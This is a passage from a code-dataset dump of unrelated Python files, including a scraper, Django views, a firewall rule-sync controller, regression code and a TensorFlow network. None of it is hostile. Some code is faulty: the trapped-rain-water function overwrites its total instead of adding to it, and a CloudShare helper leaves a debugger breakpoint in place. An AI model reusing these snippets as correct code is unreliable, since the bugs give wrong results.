[]\r\nlv3 = []\r\nlv4 = []\r\nlv5 = []\r\nlv6 = []\r\nfor user in user_list:\r\n if user_list[user] == \"level l1\":\r\n lv1.append(user)\r\n elif user_list[user] == \"level l2\":\r\n lv2.append(user)\r\n elif user_list[user] == \"level l3\":\r\n lv3.append(user)\r\n elif user_list[user] == \"level l4\":\r\n lv4.append(user)\r\n elif user_list[user] == \"level l5\":\r\n lv5.append(user)\r\n elif user_list[user] == \"level l6\":\r\n lv6.append(user)\r\nall_user = [lv1,lv2,lv3,lv4,lv5,lv6]\r\n\r\nworkbook = xlwt.Workbook()\r\nrow = 0\r\nworksheet = workbook.add_sheet('test')\r\nworksheet.write(0,0,'UID')\r\n\r\nfor i in range(len(all_user)):\r\n for j in range(len(all_user[i])):\r\n worksheet.write(row+1,0,all_user[i][j])\r\n row += 1\r\nworkbook.save('test.xls')\r\n\r\nplt.rcParams['font.sans-serif']=['SimHei'] #解决中文乱码\r\nplt.figure(figsize=(6,9))#调节图形大小\r\nlabels = [u'lv1',u'lv2',u'lv3',u'lv4',u'lv5',u'lv6']\r\nsizes = [len(lv1),len(lv2),len(lv3),len(lv4),len(lv5),len(lv6)]\r\ncolors = ['red','yellowgreen','lightskyblue','yellow','blue','orange','green']\r\nexplode = (0.1,0.05,0,0,0,0)#将某一块分割出来,值越大分割出的间隙越大\r\npatches,text1,text2 = plt.pie(sizes,\r\n explode=explode,\r\n labels=labels,\r\n colors=colors,\r\n autopct = '%3.2f%%', #数值保留固定小数位\r\n labeldistance = 1.2,#图例距圆心半径倍距离\r\n shadow = False, #无阴影设置\r\n startangle =90, #逆时针起始角度设置\r\n pctdistance = 0.6) #数值距圆心半径倍数距离\r\n#patches饼图的返回值,texts1饼图外label的文本,texts2饼图内部的文本\r\n# x,y轴刻度设置一致,保证饼图为圆形\r\nplt.axis('equal')\r\nplt.title(\"用户等级分布,样本人数:%s\"%(Total_number))\r\nplt.legend()\r\nplt.show()\r\nweb.close()\r\n\r\n# print(user_list)\r\n# print(count)","sub_path":"BILI_reply_user_spider.py","file_name":"BILI_reply_user_spider.py","file_ext":"py","file_size_in_byte":2952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"173235526","text":"# -*- coding: utf-8 -*-\n\nimport winreg\nfrom ..lib.singleton import Singleton\n\n\nclass Environment(metaclass=Singleton):\n def __init__(self, root=winreg.HKEY_LOCAL_MACHINE):\n assert root in [winreg.HKEY_LOCAL_MACHINE, winreg.HKEY_CURRENT_USER]\n self.__root__ = root\n self.work_path = None\n self.error_count = 0\n try:\n self.load_config()\n except FileNotFoundError:\n print('尚未初始化环境变量')\n\n def write_config(self, work_path, error_count=5):\n with winreg.CreateKeyEx(self.__root__, r'SOFTWARE\\ToGeek\\file_express') as key:\n winreg.SetValueEx(key, 'work_path', 0, winreg.REG_SZ, work_path)\n winreg.SetValueEx(key, 'error_count', 0, winreg.REG_DWORD, error_count)\n self.load_config()\n\n def load_config(self):\n with winreg.OpenKeyEx(self.__root__, r'SOFTWARE\\ToGeek\\file_express') as key:\n self.work_path = winreg.QueryValueEx(key, 'work_path')[0]\n self.error_count = winreg.QueryValueEx(key, 'error_count')[0]\n\n def __str__(self):\n return 'work_path: %s\\n' % self.work_path + \\\n 'error_count: %s' % self.error_count\n","sub_path":"file_express/manager/env.py","file_name":"env.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"9968334","text":"from django.contrib import messages\nfrom django.db.models import ObjectDoesNotExist\nfrom django.db.models import Q\nfrom django.shortcuts import render\nfrom django.views.generic import View\nfrom django.views.generic.edit import UpdateView\n\nfrom sortable_listview import SortableListView\n\nfrom app_user.forms import CompanyCreateForm, AddressCreateForm\nfrom app_user.models import Company, Address\n\n\nclass ListCompaniesView(SortableListView):\n \"\"\"\n List companies --> ListView\n\n \"\"\"\n context = {'title': \"Companylist\"}\n context_object_name = \"companies\"\n template_name = 'app_user/list_company.html'\n queryset = Company.objects.filter(~Q(address_id=1) & ~Q(address_id=None)).order_by('company_name')\n paginate_by = 5\n allowed_sort_fields = {\"company_name\": {'default_direction': '', 'verbose_name': 'Company'}, }\n default_sort_field = 'company_name' # mandatory\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['title'] = \"Companylist\"\n return context\n\n\nclass CreateCompanyView(View):\n \"\"\"\n creat company view\n 2 forms : The company (just the name --> model Company)\n : The address (may already exist !) --> model Address\n The creation is a 2 step creation : The company and then the address if it doesn't already exist\n \"\"\"\n context = {'title': \"Createcompany\"}\n form = CompanyCreateForm\n form2 = AddressCreateForm\n template_name = 'app_user/create_company.html'\n\n def get(self, request):\n self.context['form'] = self.form(None)\n self.context['form2'] = self.form2(None)\n return render(request, self.template_name, context=self.context)\n\n def post(self, request):\n form = self.form(request.POST) # the company\n form2 = self.form2(request.POST) # the address\n if form.is_valid():\n if form2.is_valid():\n company = form.cleaned_data['company_name']\n memo = form2.cleaned_data['address_name']\n street_number = form2.cleaned_data['street_number']\n street_type = form2.cleaned_data['street_type']\n address1 = form2.cleaned_data['address1']\n address2 = form2.cleaned_data['address2']\n city = form2.cleaned_data['city']\n zipcode = form2.cleaned_data['zipcode']\n country = form2.cleaned_data['country']\n try:\n # verify the address exists or not\n new_memo = Address.objects.get(address_name__iexact=memo)\n except ObjectDoesNotExist:\n # don't exist\n new_memo = Address(address_name=memo,\n street_number=street_number,\n street_type=street_type,\n address1=address1,\n address2=address2,\n city=city,\n zipcode=zipcode,\n country=country)\n new_memo.save()\n else:\n # already exist --> modifications are applied\n new_memo.street_number = street_number\n new_memo.street_type = street_type\n new_memo.address1 = address1\n new_memo.address2 = address2\n new_memo.city = city\n new_memo.zipcode = zipcode\n new_memo.country = country\n new_memo.save()\n new_company = Company(company_name=company,\n address=new_memo)\n new_company.save()\n self.context['company_created'] = company\n messages.success(request, \"RegisterOK\")\n self.context['form'] = form\n self.context['form2'] = form2\n return render(request, self.template_name, self.context)\n\n\nclass EditCompanyView(UpdateView):\n \"\"\"\n Modify Company --> same principle as the creation --> 2 steps\n \"\"\"\n context = {'title': \"Companyupdate\"}\n form = CompanyCreateForm\n form2 = AddressCreateForm\n model = Company\n second_model = Address\n fields = ['company_name', 'address']\n template_name = 'app_user/create_company.html'\n # success_url = \"/app_user/list_company/\"\n\n def get_context_data(self, **kwargs):\n context = super(EditCompanyView, self).get_context_data(**kwargs)\n\n form_id = self.object.id\n company = Company.objects.get(pk=form_id)\n address = Address.objects.get(id=company.address_id)\n if 'form' not in context:\n context['form'] = self.form\n if 'form2' not in context:\n context['form2'] = self.form2(instance=address)\n context['id'] = form_id\n context['title'] = \"Companyupdate\"\n return context\n\n def get(self, request, *args, **kwargs):\n self.object = self.get_object()\n return super().get(request, *args, **kwargs)\n\n def post(self, request, pk):\n request.POST._mutable = True # to modify the POST\n request.POST['update'] = True\n form = self.form(request.POST)\n form2 = self.form2(request.POST)\n # form is always in error --> duplicate name !!!\n if form2.is_valid():\n form._errors = {}\n company = request.POST['company_name']\n # company_address = form.cleaned_data['address']\n memo = form2.cleaned_data['address_name']\n street_number = form2.cleaned_data['street_number']\n street_type = form2.cleaned_data['street_type']\n address1 = form2.cleaned_data['address1']\n address2 = form2.cleaned_data['address2']\n city = form2.cleaned_data['city']\n zipcode = form2.cleaned_data['zipcode']\n country = form2.cleaned_data['country']\n try:\n new_memo = Address.objects.get(address_name__iexact=memo)\n except ObjectDoesNotExist:\n new_memo = Address(address_name=memo,\n street_number=street_number,\n street_type=street_type,\n address1=address1,\n address2=address2,\n city=city,\n zipcode=zipcode,\n country=country)\n new_memo.save()\n else:\n new_memo.street_number = street_number\n new_memo.street_type = street_type\n new_memo.address1 = address1\n new_memo.address2 = address2\n new_memo.city = city\n new_memo.zipcode = zipcode\n new_memo.country = country\n new_memo.save()\n upd_company = Company.objects.get(pk=pk)\n upd_company.address = new_memo\n upd_company.save()\n self.context['id'] = pk\n messages.success(request, \"CompanyupdateOK\")\n self.context['form'] = form\n self.context['form2'] = form2\n return render(request, self.template_name, self.context)\n\n else:\n self.context['form'] = form\n self.context['form2'] = form2\n return render(request, self.template_name, self.context)\n","sub_path":"checklistmgr/app_user/company_views.py","file_name":"company_views.py","file_ext":"py","file_size_in_byte":7490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"637239213","text":"from hashlib import sha1\nimport random\nimport requests\nimport string\nimport time\n\n# these come from your CloudShare account page\nUSER_ID = ''\nKEY = ''\n\nVERSION = '2'\n\n\ndef cloudshare(resource, **kw):\n url = 'https://use.cloudshare.com/API/v{}/{}'.format(VERSION, resource)\n token = ''.join(random.choice(string.digits) for x in range(10))\n params = {\n 'UserApiId': USER_ID,\n 'timestamp': int(time.time()),\n 'token': token,\n }\n params.update(kw)\n signature = ''.join('{}{}'.format(k.lower(), v)\n for k, v in sorted(params.items(), key=lambda x: x[0].lower()))\n signature = '{}{}{}'.format(KEY, resource.split('/')[-1].lower(), signature)\n params['HMAC'] = sha1(signature).hexdigest()\n res = requests.get(url, params=params)\n return res.json()\n\nimport pdb; pdb.set_trace()\n# Example:\n# cloudshare('ApiTest/Ping')\n","sub_path":"all-gists/23663cfa164460f3b3a2/snippet.py","file_name":"snippet.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"214232129","text":"import numpy as np\n\nclass MyLinearRegression():\n def __init__(self, thetas, alpha=0.001, max_iter=100000):\n self.alpha = alpha\n self.max_iter = max_iter\n self.thetas = thetas\n \n def add_intercept(self, x):\n arr = []\n if x.ndim == 1:\n for i in x:\n arr.append([1, i])\n else:\n for i in x:\n nl = []\n nl.append(1)\n for n in i:\n nl.append(n)\n arr.append(nl)\n return(np.array(arr))\n\n def predict_(self,x):\n return(self.add_intercept(x).dot(self.thetas))\n \n def cost_elem_(self, y, y_hat):\n ret = []\n y = y.reshape(-1, 1)\n for i in range(len(y)):\n ret.append((1/(2*len(y))) * ((y_hat[i] - y[i])**2))\n return(np.array(ret))\n\n def cost_(self, y, y_hat):\n y = y.reshape(-1, 1)\n y_hat = y_hat.reshape(-1, 1)\n return((y - y_hat).T.dot(y - y_hat) /(len(y) * 2))\n \n def fit_(self, x, y):\n while self.cost_(y, self.predict_(x)) != 0 and self.max_iter != 0:\n self.thetas[0] = float(self.thetas[0]- self.alpha * (self.gradient(x, (y), self.thetas)[0]))\n self.thetas[1] = float(self.thetas[1]- self.alpha * (self.gradient(x, (y), self.thetas)[1]))\n self.max_iter -= 1\n return(self.thetas)\n \n def gradient(self, x, y, theta):\n xt = self.add_intercept(x)\n y_hat = self.predict_(x)\n return(((np.transpose(xt)).dot(y_hat -y))/len(y))\n","sub_path":"day01/ex06/my_linear_regression.py","file_name":"my_linear_regression.py","file_ext":"py","file_size_in_byte":1563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"16503414","text":"import numpy as np\nimport pandas as pd\nimport time\nimport matplotlib.pyplot as plt\nfrom pandas.plotting import register_matplotlib_converters\nregister_matplotlib_converters()\n\n# Ticker-Symbol eingeben\nticker = input()\n\n# Daten der letzten 5 Jahre herunterladen\nnow = str(round(time.time()))\nhistory_start = str(round(time.time()-5*365*24*60*60))\ndf = pd.read_csv(\"https://query1.finance.yahoo.com/v7/finance/download/\"+ticker+\"?period1=\"+history_start+\"&period2=\"+now+\"&interval=1d&events=history\")\n\n# Daten anpassen\ndf[\"Date\"] = pd.to_datetime(df[\"Date\"])\ndata = df.filter(['Date','Close'])\ndata.set_index(\"Date\", inplace=True)\n\n# 200-Tage-Linie berechnen\ndata['SMA200'] = data.rolling(window=200).mean()\n\n# Diagramm anzeigen\nfig = plt.figure(figsize=(12,8))\nplt.title(ticker)\nplt.xlabel(\"Datum\")\nplt.ylabel(\"Preis\")\nplt.plot(data.index, data[\"Close\"], label=\"Schlusskurs\")\nplt.plot(data.index, data[\"SMA200\"], label=\"SMA200\")\nplt.legend(loc='upper left')\nplt.show()\n","sub_path":"01_SMA.py","file_name":"01_SMA.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"469066865","text":"#!/usr/bin/env python\n\nfrom threading import Thread\nfrom globvars import GlobVars\n\nfrom validate import Validate\nfrom psql import Psql\n\nimport importlib\nimport hashlib\nimport datetime\nimport time\nimport random\nimport json\n\nclass RuleActions:\n\n\tdef __init__(self, config, sql, conn):\n\t\tself.config = config\n\t\tself.sql = sql\n\t\tself.connector = conn\n\n\t\tself.validate = Validate()\n\n\t\tself.fw_data = {}\n\t\tself.fw_call = {}\n\n\t\tfor classes in self.config.get_fw_classes():\n\t\t\ttry:\n\t\t\t\tself.fw_data[classes] = config.get_fw_data(classes)\n\t\t\t\tGlobVars.all_fws_ips.setdefault(classes,[])\n\t\t\t\ti = importlib.import_module(\"fws.\"+classes.lower())\n\t\t\t\tself.fw_call[classes] = newclass = getattr(i, classes)\n\t\t\texcept Exception as e:\n\t\t\t\tprint(e)\n\t\t\t\tbreak\n\t\t\t\n\n\tdef sync(self, data):\n\t\tif data[\"type\"] == \"fw_sync\":\n\t\t\tself.fw_sync()\n\t\telse:\n\t\t\tself.db_sync()\n\n\n\tdef db_sync(self):\t\n\t\trows = self.sql.get(\"SELECT name, data, expiration, rule FROM rules\")\n\t\tret = []\n\n\t\tfor row in rows:\n\t\t\ttemp = {}\n\t\t\ttemp[\"name\"] = row[0]\n\t\t\ttemp[\"data\"] = row[1]\n\t\t\ttemp[\"type\"] = row[3]\n\t\t\ttemp[\"expiration\"] = row[2]\n\t\t\tret.append(temp)\n\n\t\tjson_ret = json.dumps(ret, indent=4, sort_keys=True, default=str)\n\t\tprint(json_ret)\n\t\tself.connector.send_message(json_ret)\t\n\t\tprint(\"[DB SYNC]\")\n\n\n\tdef fw_sync(self):\n\t\tself.sql.get(\"DELETE FROM rules WHERE expiration < now()::timestamp\")\n\n\t\tprint(\"[VALID SYNC]\")\n\n\t\tGlobVars.wait_for_threads()\n\n\t\ttry:\n\t\t\tGlobVars.threads = []\n\t\t\tdata = {}\n\n\t\t\tfw_type = \"Checkpoint\"\n\n\t\t\t#domain valid\n\t\t\tdata[\"fw_type\"] = \"F5\"\n\t\t\tself.fw_multiple_commands(data)\n\t\t\tGlobVars.wait_for_threads()\n\n\n\t\t\tdata[\"fw_type\"] = fw_type\n\t\t\tdata[\"action\"] = \"sync\"\n\t\t\tdata[\"data\"] = None\n\t\t\tself.fw_multiple_commands(data)\n\t\t\tGlobVars.wait_for_threads()\n\n\t\t\tif fw_type in GlobVars.all_fws_ips.keys():\n\t\t\t\texist = GlobVars.all_fws_ips[fw_type]\n\t\t\telse:\n\t\t\t\tprint(fw_type+\" blocked list is not set\")\n\t\t\t\treturn\n\n\t\t\tfw_del, fw_add = self.validate.check_db(exist)\n\n\t\t\tdata[\"fw_type\"] = fw_type\n\n\t\t\tprint(fw_del)\t\n\t\t\tprint(fw_add)\t\n\n\t\t\tif fw_add:\n\t\t\t\tdata[\"action\"] = \"add\"\n\t\t\t\tdata[\"data\"] = fw_add\n\t\t\t\tself.fw_multiple_commands(data)\n\n\t\t\tGlobVars.wait_for_threads()\n\n\t\t\tif fw_del:\n\t\t\t\tdata[\"action\"] = \"del\"\n\t\t\t\tdata[\"data\"] = fw_del\n\t\t\t\tself.fw_multiple_commands(data)\n\n\t\t\tGlobVars.wait_for_threads()\n\n\t\texcept Exception as ec:\n\t\t\tprint(ec)\n\n\t\tprint(\"[VALIDATION DONE]\")\n\n\n\tdef add_rule(self, data):\n\t\tproblem = \"\"\n\n\t\tif \"timeout\" in data:\n\t\t\texpiration = data[\"expiration\"]\n\t\telse:\n\t\t\texpiration = \"9001-01-01 00:00:00\"\n\n\t\tfor dat in data[\"data\"]:\n\t\t\tret = self.validate.check_all(dat, data[\"type\"])\n\t\t\tif ret:\n\t\t\t\tdata[\"data\"].remove(dat)\n\t\t\t\tproblem += ret \n\t\t\t\tcontinue\n\n\t\t\tdata_list = (data[\"name\"], dat, data[\"type\"], expiration)\t\t\t\t\n\t\t\tself.sql.make(\"\"\"\n\t\t\t\tINSERT INTO rules(Name, data, Rule, Expiration) \n\t\t\t\tVALUES (%s,%s,%s,%s)\n\t\t\t\"\"\", data_list)\n\n\t\tself.call(data, problem)\t\t\t\n\n\n\tdef del_rule(self, data):\n\t\tproblem = \"\"\n\t\tfor dat in data[\"data\"]:\n\t\t\tself.sql.make(\"\"\"\n\t\t\t\tDELETE FROM rules WHERE data=%(data)s\n\t\t\t\"\"\", ({\"data\":dat}))\n\t\t\tif self.sql.statusmessage() == \"DELETE 0\":\n\t\t\t\tproblem += \"cannot remove: \"+dat+\", \"\n\t\n\t\tself.call(data, problem)\t\t\t\n\n\n\tdef call(self, data, problem=None):\n\t\tif \"block\" in data[\"type\"].lower():\n\t\t\tif data[\"data\"]: \n\t\t\t\tself.fw_multiple_commands(data)\t\t\t\n\n\t\tprint(problem)\n\n\t\tif problem:\n\t\t\tself.connector.send_message(\"\"\"{\"result\":\"some problems occured\",\"problem\":\\\"\"\"\"+problem+\"\"\"\\\"}\"\"\")\n\t\telse:\n\t\t\tself.connector.send_message(\"\"\"{\"result\":\"done\"}\"\"\")\n\t\t\t\n\n\tdef fw_multiple_commands(self, data):\n\t\tports = self.fw_data[data[\"fw_type\"]][\"port\"]\n\t\tGlobVars.clean_fws_ips(data[\"fw_type\"])\n\n\t\tfor port in ports:\n\t\t\tfw_data = self.fw_data[data[\"fw_type\"]]\n\t\t\tfw_data[\"port\"] = port\n\t\t\tself.fw_command(data, fw_data)\n\t\t\n\t\tfw_data[\"port\"] = ports\n\n\n\tdef fw_command(self, data, fw_data):\n\t\ti = GlobVars.generate_hash()\n\t\tfw_data[\"sql\"] = self.sql\n\t\tvars()[\"fw_\"+i] = self.fw_call[data[\"fw_type\"]](\n\t\t\t\tfw_data, \n\t\t\t\tdata\n\t\t)\n\t\tvars()[\"fw_\"+i].setName(\"fw_\"+i)\n\t\tvars()[\"fw_\"+i].start()\n\t\tGlobVars.threads.append(vars()[\"fw_\"+i])\n","sub_path":"fwcontroller/ruleactions.py","file_name":"ruleactions.py","file_ext":"py","file_size_in_byte":4057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"204293224","text":"# Given n non-negative integers representing an elevation map where the width of each bar is 1,\n# compute how much water it is able to trap after raining.\n# For example,\n# Given [0,1,0,2,1,0,1,3,2,1,2,1], return 6.\n\n\ndef get_trapped_water(levels):\n trapped_water = 0\n\n if len(levels) < 3:\n return trapped_water\n\n left_max = 0\n right_max = 0\n\n left = 0\n right = len(levels) - 1\n\n while left <= right:\n\n if levels[left] < levels[right]:\n if levels[left] > left_max:\n left_max = levels[left]\n else:\n trapped_water += left_max - levels[left]\n left += 1\n else:\n if levels[right] > right_max:\n right_max = levels[right]\n else:\n trapped_water = right_max - levels[right]\n right -= 1\n\n return trapped_water\n\n\nif __name__ == \"__main__\":\n print(get_trapped_water([0, 1, 0, 2, 1, 0, 1, 3, 2, 1, 2, 1]))\n","sub_path":"python/misc/trapped_rain_water.py","file_name":"trapped_rain_water.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"175908686","text":"from django.db import models\nfrom rest_framework import serializers\n\nclass ClassRoster(models.Model):\n class_roster_id = models.AutoField(primary_key=True)\n classroom = models.ForeignKey('Classroom', related_name='+')\n student = models.ForeignKey('Student', related_name='+')\n score = models.DecimalField(max_digits=9, decimal_places=2)\n teacher_comments = models.TextField(blank=True)\n bayyinah_comments = models.TextField(blank=True)\n created_date = models.DateTimeField(auto_now_add=True)\n modified_date = models.DateTimeField(auto_now=True)\n\n class Meta:\n app_label = \"sass\"\n db_table = \"sass_class_roster\"\n\nclass ClassRosterSerializer(serializers.ModelSerializer):\n student_username = serializers.Field(source='student.user.username')\n calendar_year = serializers.Field(source='classroom.year')\n #student = StudentSerializer(read_only=True)\n\n class Meta:\n model = ClassRoster\n fields = ['class_roster_id', 'student', 'student_username', 'classroom', 'calendar_year', 'score', 'teacher_comments', 'bayyinah_comments', 'created_date', 'modified_date',]\n\n","sub_path":"sass/models/class_roster.py","file_name":"class_roster.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"321732970","text":"from five import grok\nfrom Acquisition import aq_inner\nfrom zope import schema\nfrom zope.schema import getFieldsInOrder\nfrom zope.component import getUtility\n\nfrom zope.lifecycleevent import modified\n\nfrom plone.directives import form\nfrom z3c.form import button\n\nfrom Products.CMFPlone.utils import safe_unicode\n\nfrom plone.dexterity.interfaces import IDexterityFTI\nfrom Products.statusmessages.interfaces import IStatusMessage\nfrom jobtool.jobcontent.jobopening import IJobOpening\n\nfrom jobtool.jobcontent import MessageFactory as _\n\n\nclass IJobDistributorEdit(form.Schema):\n\n distributor = schema.List(\n title=_(u\"Selected Distributors\"),\n description=_(u\"Select external distributors to filter display in \"\n u\"the press archive listing\"),\n value_type=schema.Choice(\n title=_(u\"Distributor\"),\n vocabulary='jobtool.jobcontent.externalDistributors',\n ),\n required=False,\n )\n\n\nclass JobDistributorEditForm(form.SchemaEditForm):\n grok.context(IJobOpening)\n grok.require('cmf.AddPortalContent')\n grok.name('edit-job-distributors')\n\n schema = IJobDistributorEdit\n ignoreContext = False\n css_class = 'popover-form'\n\n label = _(u\"Edit job opening distributors\")\n\n def updateActions(self):\n super(JobDistributorEditForm, self).updateActions()\n self.actions['save'].addClass(\"btn btn-primary\")\n self.actions['cancel'].addClass(\"btn\")\n\n @button.buttonAndHandler(_(u\"Save\"), name=\"save\")\n def handleApply(self, action):\n data, errors = self.extractData()\n if errors:\n self.status = self.formErrorsMessage\n return\n self.applyChanges(data)\n\n @button.buttonAndHandler(_(u\"cancel\"))\n def handleCancel(self, action):\n context = aq_inner(self.context)\n IStatusMessage(self.request).addStatusMessage(\n _(u\"Process has been cancelled.\"),\n type='info')\n return self.request.response.redirect(context.absolute_url())\n\n def getContent(self):\n context = aq_inner(self.context)\n data = {}\n if context.distributor is not None:\n data['distributor'] = [safe_unicode(k) for\n k in context.distributor]\n else:\n data['distributor'] = []\n return data\n\n def applyChanges(self, data):\n context = aq_inner(self.context)\n fti = getUtility(IDexterityFTI,\n name='jobtool.jobcontent.jobopening')\n schema = fti.lookupSchema()\n fields = getFieldsInOrder(schema)\n for key, value in fields:\n try:\n new_value = data[key]\n setattr(context, key, new_value)\n except KeyError:\n continue\n modified(context)\n context.reindexObject(idxs='modified')\n IStatusMessage(self.request).addStatusMessage(\n _(u\"The job opening has successfully been updated\"),\n type='info')\n return self.request.response.redirect(context.absolute_url() + '/view')\n","sub_path":"src/jobtool.jobcontent/jobtool/jobcontent/distributors.py","file_name":"distributors.py","file_ext":"py","file_size_in_byte":3089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"498604994","text":"from __future__ import print_function\nfrom __future__ import division\n\nimport os\nimport cPickle\nimport math\nimport numpy as np\nimport tensorflow as tf\n\n\n\ndef add_layer(inputs, weight, bias, activation_function=None):\n wx_plus_b = tf.matmul(inputs, weight)+bias \n if activation_function == None:\n return wx_plus_b\n else:\n return activation_function(wx_plus_b)\n\n \n\nclass PFNN():\n \"\"\"\n multiple atom types\n multiple atom numbers\n \"\"\"\n \n def __init__(self, input_layer, hidden_layer, output_layer, atom_types):\n # a dict {'atom_type': input_node0, 'atom_type':input_node1, ... }\n self.input_layer = input_layer \n # SAME number of hidden layer nodes for all atom types \n self.hidden_layer = hidden_layer\n # SAME number of output layer node () for all atom types \n self.output_layer = output_layer \n # a list of atom types\n self.atom_types = atom_types\n \n def set_training_NN(self, max_nums_atom):\n # max atom numbers for each atom type of the training data set\n # a dict {'atom_type': node0, 'atom_type':node1, ... }\n self.max_nums_atom = max_nums_atom \n\n\n # define weight and bias for each atom type\n self.weights = {}\n self.biases = {}\n for atom_type in self.atom_types:\n weights = []\n biases = []\n # input ---> hidden\n in_size = self.input_layer[atom_type]\n out_size = self.hidden_layer[0][0]\n weights.append( tf.Variable(tf.random_normal([in_size, out_size])) )\n biases.append( tf.Variable(tf.zeros([1, out_size])+0.1) )\n # weights and biases for hidden ---> hidden\n for idx_layer in range(len(self.hidden_layer)-1):\n in_size = self.hidden_layer[idx_layer][0]\n out_size = self.hidden_layer[idx_layer+1][0]\n weights.append( tf.Variable(tf.random_normal([in_size, out_size])) )\n biases.append( tf.Variable(tf.zeros([1, out_size])+0.1) )\n # weighta and biases for hidden ---> output\n in_size = self.hidden_layer[-1][0]\n out_size = self.output_layer[0]\n weights.append( tf.Variable(tf.random_normal([in_size, out_size])) )\n biases.append( tf.Variable(tf.zeros([1, out_size])+0.1) )\n self.weights[atom_type] = weights\n self.biases[atom_type] = biases\n \n \n # activatin functions\n self.activatin_functions = []\n drop_outs = []\n for layer in self.hidden_layer+[self.output_layer]:\n # activation functions\n if layer[1] == 'tanh':\n self.activatin_functions.append(tf.nn.tanh)\n elif layer[1] == 'relu':\n self.activatin_functions.append(tf.nn.relu)\n elif layer[1] == 'sigmoid':\n self.activatin_functions.append(tf.nn.sigmoid)\n elif layer[1] == None:\n self.activatin_functions.append(None)\n # drop out\n if layer[2]:\n drop_outs.append(True)\n if not layer[2]:\n drop_outs.append(False)\n\n\n\n # networks\n # SAME drop out ratio for ALL atom types\n self.keep_prob = tf.placeholder(tf.float32)\n # for G func input\n self.training_input = {} \n # atom mask for different atom number\n self.atom_mask = {}\n \n # total energy of all atoms of a atom type \n training_atom_type_energy ={}\n # real energy\n self.training_ref = tf.placeholder(tf.float32, [None, 1])\n for atom_type in self.atom_types:\n \n # data entry\n self.training_input[atom_type] = tf.placeholder(tf.float32, [None, self.max_nums_atom[atom_type], self.input_layer[atom_type]])\n self.atom_mask[atom_type] = tf.placeholder(tf.float32, [None, self.max_nums_atom[atom_type]])\n\n # 1st atom\n ## 1st hidden layer \n training_atomic_energy = add_layer(inputs=self.training_input[atom_type][:,0,:],\n weight=self.weights[atom_type][0],\n bias=self.biases[atom_type][0],\n activation_function=self.activatin_functions[0])\n if drop_outs[0]:\n training_atomic_energy = tf.nn.dropout(training_atomic_energy,\n self.keep_prob)\n \n ## 2nd layer ~ output layer\n for idx_layer in range(1, len(self.hidden_layer)+1):\n training_atomic_energy = add_layer(inputs=training_atomic_energy,\n weight=self.weights[atom_type][idx_layer],\n bias=self.biases[atom_type][idx_layer],\n activation_function=self.activatin_functions[idx_layer])\n if drop_outs[idx_layer]:\n training_atomic_energy = tf.nn.dropout(training_atomic_energy,\n self.keep_prob)\n \n training_atom_type_energy[atom_type] = training_atomic_energy*self.atom_mask[atom_type][:,0:1] \n\n # 2dn ~ last atom\n for idx_atom in range(1, self.max_nums_atom[atom_type]):\n ## 1st hidden layer \n training_atomic_energy = add_layer(inputs=self.training_input[atom_type][:,idx_atom,:],\n weight=self.weights[atom_type][0],\n bias=self.biases[atom_type][0],\n activation_function=self.activatin_functions[0])\n if drop_outs[0]:\n training_atomic_energy = tf.nn.dropout(training_atomic_energy,\n self.keep_prob)\n ## 2nd layer ~ output layer\n for idx_layer in range(1, len(self.hidden_layer)+1):\n training_atomic_energy = add_layer(inputs=training_atomic_energy,\n weight=self.weights[atom_type][idx_layer],\n bias=self.biases[atom_type][idx_layer],\n activation_function=self.activatin_functions[idx_layer])\n if drop_outs[idx_layer]:\n training_atomic_energy = tf.nn.dropout(training_atomic_energy,\n self.keep_prob)\n \n training_atom_type_energy[atom_type] = tf.add(training_atom_type_energy[atom_type], \n training_atomic_energy*self.atom_mask[atom_type][:,idx_atom:idx_atom+1])\n\n \n # total energy\n self.training_total_energy = training_atom_type_energy[self.atom_types[0]]\n for atom_type in self.atom_types[1:]:\n self.training_total_energy = self.training_total_energy + training_atom_type_energy[atom_type]\n\n\n\n\n def set_prediction_NN(self, trained_model):\n\n # load pre-trained model \n saver = tf.train.Saver()\n \n # read paramters of trained NN\n with tf.Session() as sess:\n saver.restore(sess, trained_model)\n self.prediction_weights = {}\n self.prediction_biases = {}\n for atom_type in self.atom_types:\n self.prediction_weights[atom_type] = []\n self.prediction_biases[atom_type] = []\n for weight in self.weights[atom_type]:\n self.prediction_weights[atom_type].append(sess.run(weight))\n for bias in self.biases[atom_type]:\n self.prediction_biases[atom_type].append(sess.run(bias))\n\n \n self.prediction_input = {}\n prediction_atom_type_energy = {}\n for atom_type in self.atom_types:\n # data entry\n self.prediction_input[atom_type] = tf.placeholder(tf.float32, [None,self.input_layer[atom_type]])\n\n ## 1st hidden layer \n prediction_atomic_energy = add_layer(inputs=self.prediction_input[atom_type],\n weight=self.prediction_weights[atom_type][0],\n bias=self.prediction_biases[atom_type][0],\n activation_function=self.activatin_functions[0])\n \n ## 2nd layer ~ output layer\n for idx_layer in range(1, len(self.hidden_layer)+1):\n prediction_atomic_energy = add_layer(inputs=prediction_atomic_energy,\n weight=self.prediction_weights[atom_type][idx_layer],\n bias=self.prediction_biases[atom_type][idx_layer],\n activation_function=self.activatin_functions[idx_layer])\n\n prediction_atom_type_energy[atom_type] = tf.reduce_sum(prediction_atomic_energy) \n\n\n # total energy\n self.prediction_total_energy = prediction_atom_type_energy[self.atom_types[0]]\n for atom_type in self.atom_types[1:]:\n self.prediction_total_energy = self.prediction_total_energy + 